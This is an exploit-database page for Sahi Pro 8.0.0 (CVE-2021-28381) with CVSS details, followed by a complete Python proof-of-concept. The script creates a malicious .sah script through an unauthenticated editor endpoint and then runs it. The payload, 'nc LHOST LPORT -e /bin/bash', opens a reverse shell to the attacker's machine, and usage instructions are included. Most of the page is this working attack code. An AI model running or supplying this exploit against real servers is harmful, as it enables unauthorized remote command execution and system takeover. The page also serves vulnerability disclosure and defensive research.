Exploitalert - Database of Exploits

Sahi Pro 8.0.0 Remote Command Execution

CVE	Category	Price	Severity
CVE-2021-28381	CWE-77	Unknown	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-07-26

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019070120

Sahi Pro 8.0.0 Remote Command Execution

# Exploit Title: Sahi Pro V8.0.0 - Unauthenticated Remote Command Execution # Date: 2019-07-12 # Exploit Author: zkan Mustafa Akku (AkkuS) # Contact: https://pentest.com.tr # Vendor Homepage: https://sahipro.com # Software Link: https://sahipro.com/static/builds/pro/install_sahi_pro_v800_20181031.jar # Reference: https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html # Version: 8.0.0 # Category: Webapps # Tested on: Linux 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux # Description: Sahi allows you to run ".sah" scripts by Sahi Launcher. Also you can create a new script with editor. # It is possible to execute commands on the server using the function "_execute()". # This exploit creates a new sahi script that runs "netcat" on the server and opens a shell session. # It can take 5-20 seconds to receive session. # ================================================================== # PoC: #!/usr/bin/python import sys, requests import colorama, random, urllib from colorama import Fore def bannerche(): print ''' @-------------------------------------------------------------@ | Sahi Pro v8.x - Unauthenticated RCE Exploit | | Vulnerability discovered by AkkuS | | My Blog - https://pentest.com.tr | @-------------------------------------------------------------@ ''' bannerche() def check_nc(rhost,lport): choose = str(raw_input(Fore.RED + "+ [!] Do you listening "+rhost+" "+lport+" with netcat? (y/n): ")) if choose == "n": return False else: return True def execute_command(rhost,rport,filename): runuri = "http://"+rhost+":"+rport+"/_s_/sprm/_s_/dyn/Player_setScriptFile" runheaders = {"Connection": "close"} rundata = "dir=%2Froot%2Fsahi_pro%2Fuserdata%2Fscripts%2F&file="+filename+"&starturl=&manual=0" runsah = requests.post(runuri, headers=runheaders, data=rundata) if runsah.status_code == 200: print (Fore.GREEN + "+ [*] Script was executed. Please wait for the session...") else: print (Fore.RED + "+ [X] Failed to run script.") sys.exit() def create_sah(rhost,rport,scdir,lhost,lport): filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(7)) + ".sah" payload = "_execute%28%27nc+"+lhost+"+"+lport+"+-e+%2Fbin%2Fbash%27%29%0A" # it depends I used netcat for PoC sahuri = "http://"+rhost+":"+rport+"/_s_/dyn/pro/EditorUI_saveScript?"+urllib.urlencode({ 'dir' : scdir})+"&file="+filename+"&contents="+payload+"" saheaders = {"Connection": "close"} sahreq = requests.get(sahuri, headers=saheaders) if sahreq.status_code == 200: print (Fore.GREEN + "+ [*] "+filename+" script created successfully!") execute_command(rhost,rport,filename) else: print (Fore.RED + "+ [X] Failed to create "+filename+" script.") sys.exit() def main(): if (len(sys.argv) != 6): print "[*] Usage: poc.py <RHOST> <RPORT> <SCDIR> <LHOST> <LPORT>" print "[*] <RHOST> -> Target IP" print "[*] <RPORT> -> Target Port" print "[*] <SCDIR> -> Target Script Directory" print "[*] <LHOST> -> Attacker IP" print "[*] <LPORT> -> Attacker Port" print "[*] Example: poc.py 192.168.1.2 9999 /root/sahi_pro/userdata/scripts/ 192.168.1.9 4444" exit(0) rhost = sys.argv[1] rport = sys.argv[2] scdir = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] if not check_nc(rhost,rport): print (Fore.RED + "+ [*] Please listen to the port required for the session and run exploit again!") else: create_sah(rhost,rport,scdir,lhost,lport) if __name__ == "__main__": main()

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